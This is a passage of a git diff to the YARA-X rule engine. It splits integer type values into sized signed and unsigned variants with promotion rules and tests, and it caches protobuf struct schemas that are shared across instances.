missing_argument_name() { - MangledFnName::from("foo@i@i").unmangle(); + MangledFnName::from("foo@i64@i64").unmangle(); } } diff --git a/lib/src/types/mod.rs b/lib/src/types/mod.rs index 25b09b683..979620ceb 100644 --- a/lib/src/types/mod.rs +++ b/lib/src/types/mod.rs @@ -170,13 +170,52 @@ impl Regexp { /// always have a reference to a [`Struct`], [`Array`] or [`Map`] respectively. /// However, those structures, arrays, and maps don't contain actual values at /// compile time, they only provide details about the type, like, for example, -/// which are the fields in a struct, or what's the type of the items in an +/// which are the fields in a struct, or what's the type of the items the /// array. /// -/// Some types can have an optional set of constraints that give additional +/// Some types can have an optional set of constraints that gives additional /// information about the value. For instance, strings can have a constraint /// [`StringConstraint::Lowercase`], which indicates that the string is always /// lowercase. +/// +/// # Integer types and signedness promotion +/// +/// All integer variants (`Int8`, `Int16`, `Int32`, `Int64`, `Uint8`, `Uint16`, +/// `Uint32`, `Uint64`) share the same high-level [`Type::Integer`] type, and at +/// runtime all integers in WASM are widened to 64-bit values (`i64`). +/// +/// The narrower variants (`Int8`, `Int16`, `Int32`, `Uint8`, `Uint16`, `Uint32`) +/// preserve the exact domain of built-in functions (such as `uint8`, `int32`) +/// and protobuf module fields (`int32`, `uint32`), allowing the compiler to +/// know their value ranges (see [`TypeValue::integer_range`]) and detect +/// unsatisfiable or invariant comparisons such as `uint32(0) == -1` or +/// `uint32(0) >= 0` at compile time. +/// +/// ## Integer promotion in 64-bit arithmetic +/// +/// Because all arithmetic in YARA-X is evaluated at 64-bit width (analogous to +/// C's integer promotion to `int64_t`), narrower unsigned integers (`Uint8`, +/// `Uint16`, `Uint32`) fit entirely within the positive range of `i64` +/// (`0..=i64::MAX`, where the 64-bit sign bit is never set). Consequently: +/// +/// * [`TypeValue::is_unsigned`] returns `true` **only** for [`TypeValue::Uint64`], +/// whose domain (`0..=u64::MAX`) can exceed `i64::MAX` (`0x7FFFFFFFFFFFFFFF`) +/// and therefore requires 64-bit unsigned WASM instructions (`i64.div_u`, +/// `i64.lt_u`, etc.). +/// * Narrower unsigned integers (`Uint8`, `Uint16`, `Uint32`) promote to signed +/// 64-bit integers (`Int64`) in arithmetic and unary operations, which keeps +/// the semantics of YARA, where all integers are signed. This prevents 64-bit +/// unsigned underflow wrap-around in expressions like `uint32(0) - 10` or +/// `uint32(0) - uint32(4)`, and avoids false-positive `unsigned_unary_op` +/// warnings on `-uint32(0)`. +/// * Any integer combined with a `Uint64` in arithmetic and bitwise operations, +/// including the promoted ones, produces an unsigned result (e.g., +/// `uint64(0) \ uint8(1)`, `uint64(0) \ 2` and `uint64(0) + (-1)` are all +/// unsigned). The signed operand is interpreted as unsigned, so negative +/// values wrap around. +/// +/// See [`crate::compiler::ir::IR::is_unsigned_result`] for how signedness +/// propagates through arithmetic and bitwise operations. #[derive(Clone, Serialize, Deserialize)] pub(crate) enum TypeValue { Unknown, @@ -186,10 +225,14 @@ pub(crate) enum TypeValue { Float { value: Value, }, - Integer { - value: Value, - constraints: Option>, - }, + Int8(Value), + Int16(Value), + Int32(Value), + Int64(Value), + Uint8(Value), + Uint16(Value), + Uint32(Value), + Uint64(Value), String { value: Value>, constraints: Option>, @@ -212,19 +255,54 @@ pub(crate) enum StringConstraint { ExactLength(usize), } -/// Each of the constraints allowed for integer types. -#[derive(Clone, Serialize, Deserialize, PartialEq, Eq, Hash)] -pub(crate) enum IntegerConstraint { - /// The integer is guaranteed to be within the given range. - Range(i64, i64), -} - impl Hash for TypeValue { fn hash(&self, state: &mut H) { mem::discriminant(self).hash(state); match self { TypeValue::Unknown => {} - TypeValue::Integer { value, .. } => { + TypeValue::Int8(value) => { + mem::discriminant(value).hash(state); + if let Value::Const(c) = value { + c.hash(state); + } + } + TypeValue::Int16(value) => { + mem::discriminant(value).hash(state); + if let Value::Const(c) = value { + c.hash(state); + } + } + TypeValue::Int32(value) => { + mem::discriminant(value).hash(state); + if let Value::Const(c) = value { + c.hash(state); + } + } + TypeValue::Int64(value) => { + mem::discriminant(value).hash(state); + if let Value::Const(c) = value { + c.hash(state); + } + } + TypeValue::Uint8(value) => { + mem::discriminant(value).hash(state); + if let Value::Const(c) = value { + c.hash(state); + } + } + TypeValue::Uint16(value) => { + mem::discriminant(value).hash(state); + if let Value::Const(c) = value { + c.hash(state); + } + } + TypeValue::Uint32(value) => { + mem::discriminant(value).hash(state); + if let Value::Const(c) = value { + c.hash(state); + } + } + TypeValue::Uint64(value) => { mem::discriminant(value).hash(state); if let Value::Const(c) = value { c.hash(state); @@ -273,11 +351,18 @@ impl TypeValue { pub fn is_const(&self) -> bool { match self { TypeValue::Unknown => false, - TypeValue::Integer { value, .. } => value.is_const(), + TypeValue::Int8(value) => value.is_const(), + TypeValue::Int16(value) => value.is_const(), + TypeValue::Int32(value) => value.is_const(), + TypeValue::Int64(value) => value.is_const(), + TypeValue::Uint8(value) => value.is_const(), + TypeValue::Uint16(value) => value.is_const(), + TypeValue::Uint32(value) => value.is_const(), + TypeValue::Uint64(value) => value.is_const(), TypeValue::Float { value } => value.is_const(), TypeValue::Bool { value } => value.is_const(), TypeValue::String { value, .. } => value.is_const(), - TypeValue::Regexp(_) => false, + TypeValue::Regexp(regexp) => regexp.is_some(), TypeValue::Struct(_) => false, TypeValue::Array(_) => false, TypeValue::Map(_) => false, @@ -293,7 +378,14 @@ impl TypeValue { /// the same fields and the type of each field matches. pub fn eq_type(&self, other: &Self) -> bool { match (self, other) { - (Self::Integer { .. }, Self::Integer { .. }) => true, + (Self::Int8(_), Self::Int8(_)) => true, + (Self::Int16(_), Self::Int16(_)) => true, + (Self::Int32(_), Self::Int32(_)) => true, + (Self::Int64(_), Self::Int64(_)) => true, + (Self::Uint8(_), Self::Uint8(_)) => true, + (Self::Uint16(_), Self::Uint16(_)) => true, + (Self::Uint32(_), Self::Uint32(_)) => true, + (Self::Uint64(_), Self::Uint64(_)) => true, (Self::Float { .. }, Self::Float { .. }) => true, (Self::String { .. }, Self::String { .. }) => true, (Self::Bool { .. }, Self::Bool { .. }) => true, @@ -345,7 +437,14 @@ impl TypeValue { pub fn ty(&self) -> Type { match self { Self::Unknown => Type::Unknown, - Self::Integer { .. } => Type::Integer, + Self::Int8(_) + | Self::Int16(_) + | Self::Int32(_) + | Self::Int64(_) + | Self::Uint8(_) + | Self::Uint16(_) + | Self::Uint32(_) + | Self::Uint64(_) => Type::Integer, Self::Float { .. } => Type::Float, Self::Bool { .. } => Type::Bool, Self::String { .. } => Type::String, @@ -360,7 +459,14 @@ impl TypeValue { pub fn clone_without_value(&self) -> Self { match self { Self::Unknown => Self::Unknown, - Self::Integer { .. } => Self::unknown_integer(), + Self::Int8(_) => Self::Int8(Value::Unknown), + Self::Int16(_) => Self::Int16(Value::Unknown), + Self::Int32(_) => Self::Int32(Value::Unknown), + Self::Int64(_) => Self::Int64(Value::Unknown), + Self::Uint8(_) => Self::Uint8(Value::Unknown), + Self::Uint16(_) => Self::Uint16(Value::Unknown), + Self::Uint32(_) => Self::Uint32(Value::Unknown), + Self::Uint64(_) => Self::Uint64(Value::Unknown), Self::Float { .. } => Self::unknown_float(), Self::Bool { .. } => Self::unknown_bool(), Self::String { .. } => Self::unknown_string(), @@ -380,13 +486,62 @@ impl TypeValue { /// integers, floats, and strings and bools can be casted to bool. pub fn cast_to_bool(&self) -> Self { match self { - Self::Integer { value: Value::Unknown, .. } => { + Self::Int8(Value::Unknown) + | Self::Int16(Value::Unknown) + | Self::Int32(Value::Unknown) + | Self::Int64(Value::Unknown) + | Self::Uint8(Value::Unknown) + | Self::Uint16(Value::Unknown) + | Self::Uint32(Value::Unknown) + | Self::Uint64(Value::Unknown) => { Self::Bool { value: Value::Unknown } } - Self::Integer { value: Value::Var(i), .. } => { + Self::Int8(Value::Var(i)) => { Self::Bool { value: Value::Var(*i != 0) } } - Self::Integer { value: Value::Const(i), .. } => { + Self::Int16(Value::Var(i)) => { + Self::Bool { value: Value::Var(*i != 0) } + } + Self::Int32(Value::Var(i)) => { + Self::Bool { value: Value::Var(*i != 0) } + } + Self::Int64(Value::Var(i)) => { + Self::Bool { value: Value::Var(*i != 0) } + } + Self::Uint8(Value::Var(i)) => { + Self::Bool { value: Value::Var(*i != 0) } + } + Self::Uint16(Value::Var(i)) => { + Self::Bool { value: Value::Var(*i != 0) } + } + Self::Uint32(Value::Var(i)) => { + Self::Bool { value: Value::Var(*i != 0) } + } + Self::Uint64(Value::Var(i)) => { + Self::Bool { value: Value::Var(*i != 0) } + } + Self::Int8(Value::Const(i)) => { + Self::Bool { value: Value::Const(*i != 0) } + } + Self::Int16(Value::Const(i)) => { + Self::Bool { value: Value::Const(*i != 0) } + } + Self::Int32(Value::Const(i)) => { + Self::Bool { value: Value::Const(*i != 0) } + } + Self::Int64(Value::Const(i)) => { + Self::Bool { value: Value::Const(*i != 0) } + } + Self::Uint8(Value::Const(i)) => { + Self::Bool { value: Value::Const(*i != 0) } + } + Self::Uint16(Value::Const(i)) => { + Self::Bool { value: Value::Const(*i != 0) } + } + Self::Uint32(Value::Const(i)) => { + Self::Bool { value: Value::Const(*i != 0) } + } + Self::Uint64(Value::Const(i)) => { Self::Bool { value: Value::Const(*i != 0) } } @@ -480,6 +635,13 @@ impl TypeValue { ) } + #[inline] + pub fn as_regexp(&self) -> &Regexp { + self.try_as_regexp().expect( + "TypeValue is not regexp or doesn't have an associated value", + ) + } + pub fn try_as_bool(&self) -> Option { if let TypeValue::Bool { value } = self { value.extract().cloned() @@ -488,14 +650,119 @@ impl TypeValue { } } + /// Returns the value of a signed or unsigned integer as an `i64` with + /// the same 64-bit representation (sign-extended for `Int8`..`Int32`, + /// zero-extended for `Uint8`..`Uint32`, and same bit pattern for `Int64` + /// and `Uint64`). + /// + /// This is how integers are represented in WASM code, where signedness + /// is determined by the instructions used for operating with them. + /// + /// Returns [`None`] if the [`TypeValue`] is not an integer, or if its + /// value is unknown. pub fn try_as_integer(&self) -> Option { - if let TypeValue::Integer { value, .. } = self { - value.extract().cloned() + match self { + TypeValue::Int8(value) => value.extract().map(|&v| v as i64), + TypeValue::Int16(value) => value.extract().map(|&v| v as i64), + TypeValue::Int32(value) => value.extract().map(|&v| v as i64), + TypeValue::Int64(value) => value.extract().copied(), + TypeValue::Uint8(value) => value.extract().map(|&v| v as i64), + TypeValue::Uint16(value) => value.extract().map(|&v| v as i64), + TypeValue::Uint32(value) => value.extract().map(|&v| v as i64), + TypeValue::Uint64(value) => value.extract().map(|&v| v as i64), + _ => None, + } + } + + /// Returns the exact value of a constant integer as an `i128`, taking + /// signedness into account. + /// + /// Returns [`None`] if the [`TypeValue`] is not a constant integer. + pub fn try_as_const_i128(&self) -> Option { + match self { + TypeValue::Int8(Value::Const(v)) => Some(*v as i128), + TypeValue::Int16(Value::Const(v)) => Some(*v as i128), + TypeValue::Int32(Value::Const(v)) => Some(*v as i128), + TypeValue::Int64(Value::Const(v)) => Some(*v as i128), + TypeValue::Uint8(Value::Const(v)) => Some(*v as i128), + TypeValue::Uint16(Value::Const(v)) => Some(*v as i128), + TypeValue::Uint32(Value::Const(v)) => Some(*v as i128), + TypeValue::Uint64(Value::Const(v)) => Some(*v as i128), + _ => None, + } + } + + /// Creates a constant integer from an `i128`, with the given signedness. + /// + /// Returns [`None`] if the value doesn't fit in an `i64` (for signed + /// integers) or an `u64` (for unsigned integers). + pub fn const_integer_from_i128( + value: i128, + unsigned: bool, + ) -> Option { + if unsigned { + u64::try_from(value).ok().map(Self::const_unsigned_integer_from) } else { - None + i64::try_from(value).ok().map(Self::const_signed_integer_from) + } + } + + /// Creates a constant integer from the bit pattern `bits`, with the + /// given signedness. + pub fn const_integer_from_bits(bits: i64, is_unsigned: bool) -> Self { + if is_unsigned { + Self::Uint64(Value::Const(bits as u64)) + } else { + Self::Int64(Value::Const(bits)) + } + } + + /// Returns the range `(min, max)` (both inclusive) of the values that an + /// integer [`TypeValue`] can have according to its type, or [`None`] if + /// it is not an integer. + /// + /// The range depends only on the type. For constants, this is the range + /// of their type, not their actual value. + pub fn integer_range(&self) -> Option<(i128, i128)> { + match self { + TypeValue::Int8(_) => Some((i8::MIN as i128, i8::MAX as i128)), + TypeValue::Int16(_) => Some((i16::MIN as i128, i16::MAX as i128)), + TypeValue::Int32(_) => Some((i32::MIN as i128, i32::MAX as i128)), + TypeValue::Int64(_) => Some((i64::MIN as i128, i64::MAX as i128)), + TypeValue::Uint8(_) => Some((0, u8::MAX as i128)), + TypeValue::Uint16(_) => Some((0, u16::MAX as i128)), + TypeValue::Uint32(_) => Some((0, u32::MAX as i128)), + TypeValue::Uint64(_) => Some((0, u64::MAX as i128)), + _ => None, } } + /// Returns true if the [`TypeValue`] is an unsigned 64-bit integer + /// ([`TypeValue::Uint64`]). + /// + /// Note that narrower unsigned types (`Uint8`, `Uint16`, `Uint32`) return + /// `false` because their values fit in the positive half of `i64` and + /// promote to signed 64-bit integers in WASM arithmetic. + #[inline] + pub fn is_unsigned(&self) -> bool { + matches!(self, TypeValue::Uint64(_)) + } + + /// Returns true if the [`TypeValue`] is an integer guaranteed to be + /// non-negative (`>= 0`). + /// + /// This includes all unsigned integer variants (`Uint8`, `Uint16`, + /// `Uint32`, `Uint64`) and non-negative constant signed integers. + pub fn is_non_negative(&self) -> bool { + matches!( + self, + TypeValue::Uint8(_) + | TypeValue::Uint16(_) + | TypeValue::Uint32(_) + | TypeValue::Uint64(_) + ) || matches!(self.try_as_const_i128(), Some(v) if v >= 0) + } + pub fn try_as_float(&self) -> Option { if let TypeValue::Float { value } = self { value.extract().cloned() @@ -512,10 +779,18 @@ impl TypeValue { } } - /// Creates a new [`TypeValue`] consisting of a variable integer. + pub fn try_as_regexp(&self) -> Option<&Regexp> { + if let TypeValue::Regexp(regexp) = self { + regexp.as_ref() + } else { + None + } + } + + /// Creates a new [`TypeValue`] consisting of a variable signed 64-bit integer. #[inline] - pub fn var_integer_from>(i: T) -> Self { - Self::Integer { value: Value::Var(i.into()), constraints: None } + pub fn var_signed_integer_from>(i: T) -> Self { + Self::Int64(Value::Var(i.into())) } /// Creates a new [`TypeValue`] consisting of a variable float. @@ -539,10 +814,10 @@ impl TypeValue { } } - /// Creates a new [`TypeValue`] consisting of a constant integer. + /// Creates a new [`TypeValue`] consisting of a constant signed 64-bit integer. #[inline] - pub fn const_integer_from>(i: T) -> Self { - Self::Integer { value: Value::Const(i.into()), constraints: None } + pub fn const_signed_integer_from>(i: T) -> Self { + Self::Int64(Value::Const(i.into())) } /// Creates a new [`TypeValue`] consisting of a constant float. @@ -566,22 +841,40 @@ impl TypeValue { } } - /// Creates a new [`TypeValue`] consisting of an unknown string. + /// Creates a new [`TypeValue`] consisting of an unknown boolean. #[inline] pub fn unknown_bool() -> Self { Self::Bool { value: Value::Unknown } } - /// Creates a new [`TypeValue`] consisting of an unknown integer. + /// Creates a new [`TypeValue`] consisting of an unknown float. #[inline] pub fn unknown_float() -> Self { Self::Float { value: Value::Unknown } } - /// Creates a new [`TypeValue`] consisting of an unknown integer. + /// Creates a new [`TypeValue`] consisting of an unknown signed 64-bit integer. + #[inline] + pub fn unknown_signed_integer() -> Self { + Self::Int64(Value::Unknown) + } + + /// Creates a new [`TypeValue`] consisting of a variable unsigned 64-bit integer. + #[inline] + pub fn var_unsigned_integer_from>(i: T) -> Self { + Self::Uint64(Value::Var(i.into())) + } + + /// Creates a new [`TypeValue`] consisting of a constant unsigned 64-bit integer. + #[inline] + pub fn const_unsigned_integer_from>(i: T) -> Self { + Self::Uint64(Value::Const(i.into())) + } + + /// Creates a new [`TypeValue`] consisting of an unknown unsigned 64-bit integer. #[inline] - pub fn unknown_integer() -> Self { - Self::Integer { value: Value::Unknown, constraints: None } + pub fn unknown_unsigned_integer() -> Self { + Self::Uint64(Value::Unknown) } /// Creates a new [`TypeValue`] consisting of an unknown string. @@ -601,20 +894,6 @@ impl TypeValue { constraints: Some(constraints.into()), } } - - /// Creates a new [`TypeValue`] consisting of an unknown integer with - /// the given constraints. - #[inline] - pub fn unknown_integer_with_constraints< - C: Into>, - >( - constraints: C, - ) -> Self { - Self::Integer { - value: Value::Unknown, - constraints: Some(constraints.into()), - } - } } impl Display for TypeValue { @@ -634,13 +913,62 @@ impl Debug for TypeValue { write!(f, "boolean(unknown)") } } - Self::Integer { value, .. } => { + Self::Int8(value) => { + if let Some(v) = value.extract() { + write!(f, "integer({v:?})") + } else { + write!(f, "integer(unknown)") + } + } + Self::Int16(value) => { + if let Some(v) = value.extract() { + write!(f, "integer({v:?})") + } else { + write!(f, "integer(unknown)") + } + } + Self::Int32(value) => { + if let Some(v) = value.extract() { + write!(f, "integer({v:?})") + } else { + write!(f, "integer(unknown)") + } + } + Self::Int64(value) => { + if let Some(v) = value.extract() { + write!(f, "integer({v:?})") + } else { + write!(f, "integer(unknown)") + } + } + Self::Uint8(value) => { + if let Some(v) = value.extract() { + write!(f, "integer({v:?})") + } else { + write!(f, "integer(unknown)") + } + } + Self::Uint16(value) => { + if let Some(v) = value.extract() { + write!(f, "integer({v:?})") + } else { + write!(f, "integer(unknown)") + } + } + Self::Uint32(value) => { if let Some(v) = value.extract() { write!(f, "integer({v:?})") } else { write!(f, "integer(unknown)") } } + Self::Uint64(value) => { + if let Some(v) = value.extract() { + write!(f, "unsigned({v:?})") + } else { + write!(f, "unsigned(unknown)") + } + } Self::Float { value } => { if let Some(v) = value.extract() { write!(f, "float({v:?})") @@ -673,7 +1001,7 @@ impl Debug for TypeValue { impl From for TypeValue { fn from(value: EnumValue) -> Self { match value { - EnumValue::I64(v) => Self::const_integer_from(v), + EnumValue::I64(v) => Self::const_signed_integer_from(v), EnumValue::F64(v) => Self::const_float_from(v), } } @@ -687,10 +1015,14 @@ impl PartialEq for TypeValue { Self::String { value: lhs, .. }, Self::String { value: rhs, .. }, ) => lhs == rhs, - ( - Self::Integer { value: lhs, .. }, - Self::Integer { value: rhs, .. }, - ) => lhs == rhs, + (Self::Int8(lhs), Self::Int8(rhs)) => lhs == rhs, + (Self::Int16(lhs), Self::Int16(rhs)) => lhs == rhs, + (Self::Int32(lhs), Self::Int32(rhs)) => lhs == rhs, + (Self::Int64(lhs), Self::Int64(rhs)) => lhs == rhs, + (Self::Uint8(lhs), Self::Uint8(rhs)) => lhs == rhs, + (Self::Uint16(lhs), Self::Uint16(rhs)) => lhs == rhs, + (Self::Uint32(lhs), Self::Uint32(rhs)) => lhs == rhs, + (Self::Uint64(lhs), Self::Uint64(rhs)) => lhs == rhs, (Self::Float { value: lhs }, Self::Float { value: rhs }) => { lhs == rhs } @@ -708,3 +1040,65 @@ impl PartialEq for TypeValue { } impl Eq for TypeValue {} + +#[cfg(test)] +mod tests { + use std::hash::{DefaultHasher, Hash, Hasher}; + + use super::{Type, TypeValue, Value}; + + fn hash(tv: &TypeValue) -> u64 { + let mut hasher = DefaultHasher::new(); + tv.hash(&mut hasher); + hasher.finish() + } + + #[test] + fn unsigned_integers() { + let signed = TypeValue::const_signed_integer_from(-1); + let unsigned = TypeValue::const_unsigned_integer_from(u64::MAX); + + // Both are integers, and have the same bit pattern. + assert_eq!(signed.ty(), Type::Integer); + assert_eq!(unsigned.ty(), Type::Integer); + assert_eq!(signed.try_as_integer(), unsigned.try_as_integer()); + + // ... but they are not equal, nor have the same type. + assert!(!signed.is_unsigned()); + assert!(unsigned.is_unsigned()); + assert_ne!(signed, unsigned); + assert_ne!(hash(&signed), hash(&unsigned)); + assert!(!signed.eq_type(&unsigned)); + + assert_eq!(format!("{signed:?}"), "integer(-1)"); + assert_eq!(format!("{unsigned:?}"), "unsigned(18446744073709551615)"); + + // Signedness is preserved when the value is removed. + let unknown = unsigned.clone_without_value(); + assert!(unknown.is_unsigned()); + assert!(unknown.eq_type(&unsigned)); + assert_eq!(unknown, TypeValue::unknown_unsigned_integer()); + assert_eq!(format!("{unknown:?}"), "unsigned(unknown)"); + + assert!(TypeValue::var_unsigned_integer_from(1_u64).is_unsigned()); + assert!(!TypeValue::var_unsigned_integer_from(1_u64).is_const()); + + // The integer range depends only on the type, even for constants. + assert_eq!( + signed.integer_range(), + Some((i64::MIN as i128, i64::MAX as i128)) + ); + assert_eq!(unsigned.integer_range(), Some((0, u64::MAX as i128))); + + // Narrower integer variants. + let u32_val = TypeValue::Uint32(Value::Var(10)); + assert_eq!(u32_val.ty(), Type::Integer); + assert!(!u32_val.is_unsigned()); + assert!(u32_val.is_non_negative()); + assert_eq!(u32_val.integer_range(), Some((0, u32::MAX as i128))); + assert_eq!( + u32_val.clone_without_value(), + TypeValue::Uint32(Value::Unknown) + ); + } +} diff --git a/lib/src/types/structure.rs b/lib/src/types/structure.rs index c6a728470..261354d44 100644 --- a/lib/src/types/structure.rs +++ b/lib/src/types/structure.rs @@ -1,3 +1,4 @@ +use std::cell::RefCell; use std::iter; use std::ops::Deref; use std::rc::Rc; @@ -9,7 +10,7 @@ use crate::modules::protos::yara::exts::{ enum_options, enum_value, field_options, message_options, module_options, }; use crate::symbols::{Symbol, SymbolLookup}; -use crate::types::{Array, Map, StringConstraint, TypeValue}; +use crate::types::{Array, Map, StringConstraint, TypeValue, Value}; use crate::wasm::WasmExport; use bstr::BString; use indexmap::{IndexMap, IndexSet}; @@ -20,8 +21,41 @@ use protobuf::reflect::{ }; use protobuf::reflect::{EnumValueDescriptor, Syntax}; use protobuf::{MessageDyn, MessageField}; +use rustc_hash::{FxHashMap, FxHashSet}; use serde::{Deserialize, Serialize}; +/// Wrapper around [`Rc`] used to deduplicate string values in a +/// [`FxHashSet`] when converting protobuf messages into [`Struct`] instances. +/// +/// Implementing [`std::borrow::Borrow<[u8]>`] with matching [`PartialEq`], +/// [`Eq`], and [`std::hash::Hash`] implementations allows looking up existing +/// [`Rc`] instances directly by `&[u8]` (`pool.get(bytes)`) without +/// allocating a new [`BString`] on cache hits or tying the pool to the +/// lifetime of borrowed protobuf slices. +#[derive(Eq)] +struct InternedString(Rc); + +impl PartialEq for InternedString { + #[inline] + fn eq(&self, other: &Self) -> bool { + self.0.as_slice() == other.0.as_slice() + } +} + +impl std::hash::Hash for InternedString { + #[inline] + fn hash(&self, state: &mut H) { + self.0.as_slice().hash(state); + } +} + +impl std::borrow::Borrow<[u8]> for InternedString { + #[inline] + fn borrow(&self) -> &[u8] { + self.0.as_slice() + } +} + /// An entry in a field's Access Control List (ACL). /// /// When defining the structure of a module in a `.proto` file, fields can be @@ -112,14 +146,12 @@ impl From> for DeprecationNotice { } } -/// A field in a [`Struct`]. -#[derive(Debug, Serialize, Deserialize)] -pub(crate) struct StructField { - /// For structures derived from a protobuf this contains the field number - /// specified in the .proto file. For other structures this is set to 0. - pub number: u64, - /// Field type and value. - pub type_value: TypeValue, +/// Compile-time metadata associated with a field in a [`Struct`]. +/// +/// This metadata is stored in [`Struct::field_meta`] and shared across all +/// [`Struct`] instances created from the same protobuf [`MessageDescriptor`]. +#[derive(Clone, Debug, Default, Serialize, Deserialize)] +pub(crate) struct StructFieldMeta { /// Access control list (ACL) for accessing this struct field. #[serde(skip)] pub acl: Option>, @@ -132,6 +164,137 @@ pub(crate) struct StructField { pub doc: Option<&'static str>, } +/// A field in a [`Struct`]. +#[derive(Debug, Serialize, Deserialize)] +pub(crate) struct StructField { + /// Field type and value. + type_value: TypeValue, +} + +impl StructField { + /// Returns a reference to the [`TypeValue`] of this field. + #[inline] + pub fn type_value(&self) -> &TypeValue { + &self.type_value + } + + /// Returns a mutable reference to the [`TypeValue`] of this field. + #[inline] + pub fn type_value_mut(&mut self) -> &mut TypeValue { + &mut self.type_value + } +} + +/// Pre-computed schema for a single protobuf field within a [`ProtoStructSchema`]. +struct ProtoFieldSchema { + /// Protobuf reflection descriptor for this field. + descriptor: FieldDescriptor, + /// True if the field was annotated with `[(yara.field_options).lowercase = true]`. + lowercase: bool, +} + +/// Pre-computed schema for a protobuf [`MessageDescriptor`]. +/// +/// Converting a protobuf message into a [`Struct`] requires inspecting the +/// message's [`FieldDescriptor`]s, parsing custom `(yara.field_options)` +/// extensions (such as `ignore`, `name`, `lowercase`, `acl`, and +/// `deprecation_notice`), sorting fields by their protobuf tag number, and +/// building an [`IndexMap`] that maps field names to their index and metadata. +/// +/// Because a single scan can instantiate tens of thousands of [`Struct`]s from +/// the same [`MessageDescriptor`] (for example, `dotnet.Class`, `dotnet.Method`, +/// and `dotnet.Param`), doing this work on every [`Struct`] creation would be +/// very expensive in both CPU and memory. Instead, `ProtoStructSchema` computes +/// this information once per [`MessageDescriptor`] and caches it in the +/// thread-local `PROTO_STRUCT_SCHEMAS` map so that all [`Struct`] instances of +/// the same protobuf message type share the same +/// `Rc>`. +struct ProtoStructSchema { + /// Protobuf syntax version (`proto2` or `proto3`) of the file defining the message. + syntax: Syntax, + /// Shared map from field name to [`StructFieldMeta`], ordered by protobuf tag number. + field_meta: Rc>, + /// Per-field descriptors and options in the same order as `field_meta`. + fields: Vec, +} + +thread_local! { + static PROTO_STRUCT_SCHEMAS: RefCell>> = + RefCell::new(FxHashMap::default()); + static EMPTY_ARRAY_INTEGERS: Rc = Rc::new(Array::Integers(vec![])); + static EMPTY_ARRAY_FLOATS: Rc = Rc::new(Array::Floats(vec![])); + static EMPTY_ARRAY_BOOLS: Rc = Rc::new(Array::Bools(vec![])); + static EMPTY_ARRAY_STRINGS: Rc = Rc::new(Array::Strings(vec![])); + static EMPTY_ARRAY_STRUCTS: Rc = Rc::new(Array::Structs(vec![])); +} + +impl ProtoStructSchema { + /// Returns the cached [`ProtoStructSchema`] for `msg_descriptor`, computing + /// and caching it on first access in the current thread. + fn get_or_init(msg_descriptor: &MessageDescriptor) -> Rc { + PROTO_STRUCT_SCHEMAS.with(|cache| { + if let Some(schema) = cache.borrow().get(msg_descriptor) { + return Rc::clone(schema); + } + let schema = Rc::new(Self::from_descriptor(msg_descriptor)); + cache + .borrow_mut() + .insert(msg_descriptor.clone(), Rc::clone(&schema)); + schema + }) + } + + /// Builds a [`ProtoStructSchema`] from `msg_descriptor`. + fn from_descriptor(msg_descriptor: &MessageDescriptor) -> Self { + let syntax = msg_descriptor.file_descriptor().syntax(); + let proto_fields = msg_descriptor.fields(); + let mut temp_fields = Vec::new(); + + for fd in proto_fields { + let options = field_options.get(&fd.proto().options); + // The field should be ignored if it was annotated with: + // [(yara.field_options).ignore = true] + if options.as_ref().and_then(|o| o.ignore).unwrap_or(false) { + continue; + } + let lowercase = + options.as_ref().and_then(|o| o.lowercase).unwrap_or(false); + let name = options + .and_then(|o| o.name) + .unwrap_or_else(|| fd.name().to_owned()); + let number = fd.number() as u64; + temp_fields.push(( + number, + name, + ProtoFieldSchema { descriptor: fd, lowercase }, + )); + } + + // Sort fields by field numbers specified in the proto. + temp_fields.sort_by_key(|(number, _, _)| *number); + + let mut field_meta = IndexMap::with_capacity(temp_fields.len()); + let mut fields = Vec::with_capacity(temp_fields.len()); + + for (number, name, field_schema) in temp_fields { + let acl = Struct::acl(&field_schema.descriptor); + let deprecation_notice = + Struct::deprecation_notice(&field_schema.descriptor); + let doc = Struct::field_doc(msg_descriptor.full_name(), number); + let meta = StructFieldMeta { acl, deprecation_notice, doc }; + if field_meta.insert(name, meta).is_some() { + panic!( + "duplicate field name in message `{}`", + msg_descriptor.name() + ) + } + fields.push(field_schema); + } + + Self { syntax, field_meta: Rc::new(field_meta), fields } + } +} + /// A dynamic structure with one or more fields. /// /// These structures are used during the compilation of YARA rules and the @@ -148,32 +311,40 @@ pub(crate) struct StructField { /// is used for that purpose. #[derive(Debug, Serialize, Deserialize, Default)] pub(crate) struct Struct { - /// Fields in this structure. + /// Field metadata keyed by field name in insertion order. The index of each + /// entry in this `IndexMap` corresponds to its [`StructField`] in `fields`. /// - /// An `IndexMap` is used instead of a `HashMap` because we want to be - /// able to maintain the field insertion order and retrieve fields - /// according to this order. For protobuf-derived structures fields - /// are inserted in the order determined by their tag numbers, the - /// order in which they appear in the .proto source file is - /// irrelevant. - fields: IndexMap, + /// Wrapped in [`Rc`] so that all [`Struct`] instances created from the + /// same protobuf [`MessageDescriptor`] share a single [`IndexMap`] + /// instead of duplicating field names, metadata, and hash tables per + /// instance. + field_meta: Rc>, + /// Fields in this structure, ordered by their index in `field_meta`. + /// For protobuf-derived structures fields are inserted in the order + /// determined by their tag numbers, the order in which they appear in + /// the .proto source file is irrelevant. + fields: Vec, + /// The name of the protobuf type this struct was created from. If the struct + /// was not created from a protobuf type (or was created at scan time where + /// the type name is not needed), this is `None`. + protobuf_type_name: Option, /// True if this is the root structure. The root structure is the top-level /// structure that contains global variables and modules. is_root: bool, - /// The name of the protobuf type this enum was crated from. If the enum - /// was not created from a protobuf type, this is `None`. - protobuf_type_name: Option, + /// True if this structure is representing an enum. + is_enum: bool, } impl SymbolLookup for Struct { fn lookup(&self, ident: &str) -> Option { - let (field, index) = self.field_and_index_by_name(ident)?; + let (index, _, meta) = self.field_meta.get_full(ident)?; + let field = self.fields.get(index)?; Some(Symbol::Field { index, is_root: self.is_root, type_value: field.type_value.clone(), - acl: field.acl.clone(), - deprecation_notice: field.deprecation_notice.clone(), + acl: meta.acl.clone(), + deprecation_notice: meta.deprecation_notice.clone(), }) } } @@ -182,9 +353,11 @@ impl Struct { /// Creates a new, empty struct. pub fn new() -> Self { Self { - fields: IndexMap::new(), + field_meta: Rc::new(IndexMap::new()), + fields: Vec::new(), is_root: false, protobuf_type_name: None, + is_enum: false, } } @@ -194,7 +367,13 @@ impl Struct { self } - /// Returns the protobuf type this enum was created from, if any. + /// Returns true if this structure represents an enum. + #[inline] + pub fn is_enum(&self) -> bool { + self.is_enum + } + + /// Returns the protobuf type this struct was created from, if any. pub fn protobuf_type_name(&self) -> Option<&str> { self.protobuf_type_name.as_deref() } @@ -228,40 +407,45 @@ impl Struct { ) -> 